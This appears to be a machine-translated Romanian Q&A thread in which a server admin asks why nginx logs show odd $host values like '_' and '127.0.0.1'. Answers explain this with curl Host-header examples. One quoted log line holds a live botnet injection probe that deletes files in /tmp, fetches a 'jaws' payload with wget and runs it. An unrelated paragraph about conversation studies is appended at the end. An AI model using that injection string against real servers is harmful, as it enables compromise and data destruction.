Puncte:0

Nginx webserver access.log neobișnuit $gazdă

drapel de
222.187.223.158 - - [17/Feb/2022:15:41:02 +0000] „GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws HTTP/1.1 " 444 0 "-" "Bună, lume" "http://127.0.0.1"
167.248.133.47 - - [17/Feb/2022:15:45:11 +0000] „\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xEF\xC512\x xA4\x1D\xEF\xC4}bA!\x18\x08\xBC\x82X7\x12wuv\x1DD\x00\x8FYJ\xF8\xA6\x0E \x86N\xD1\xBB2z\xC7\xF5i\x96\x96\xDB \xE3\x1F\xD5\x5C\xB1\x7F\xE8\xB2YU\xF7\x1B\xC0\xDF\xAB\x87w`?\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0, \xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" "http://_"

Am aceste intrări în nginx-ul meu acces.log. În plus, am adăugat „$scheme://$host” „$server_port” „$request_body_file” la format_log.

Întrebarea mea este cu privire la modul în care $host poate fi setat la acest „_” și acest „127.0.0.1” și încă funcționează?

Dacă înțelegeți cum se întâmplă acest lucru, vă rog să-mi spuneți cum să-l recreez.

Paul avatar
drapel cn
Aceste solicitări sunt practic zgomotul de fundal al web-ului. Pentru a fi complet compatibil cu HTTP RFC, se pare că serverul dvs. [ar trebui să răspundă](https://serverfault.com/questions/1089218/is-there-a-technical-requirement-to-serve-404-responses).
Puncte:1
drapel de

Îmi pare rău, răspunsul este foarte simplu:

curl -H „Gazdă: orice” https://domeniu

EDITAȚI | × De asemenea, pentru oricine stăpânește cum ajung aceste intrări în jurnalele dvs. nginx, încercați acest lucru: curl https://example.com:80

Paul avatar
drapel cn
În funcție de cazul dvs. de utilizare, este posibil să doriți să `curl` folosind [`--connect-to`](https://serverfault.com/a/900860/153188).

Postează un răspuns

Majoritatea oamenilor nu înțeleg că a pune multe întrebări deblochează învățarea și îmbunătățește legătura interpersonală. În studiile lui Alison, de exemplu, deși oamenii își puteau aminti cu exactitate câte întrebări au fost puse în conversațiile lor, ei nu au intuit legătura dintre întrebări și apreciere. În patru studii, în care participanții au fost implicați în conversații ei înșiși sau au citit transcrieri ale conversațiilor altora, oamenii au avut tendința să nu realizeze că întrebarea ar influența – sau ar fi influențat – nivelul de prietenie dintre conversatori.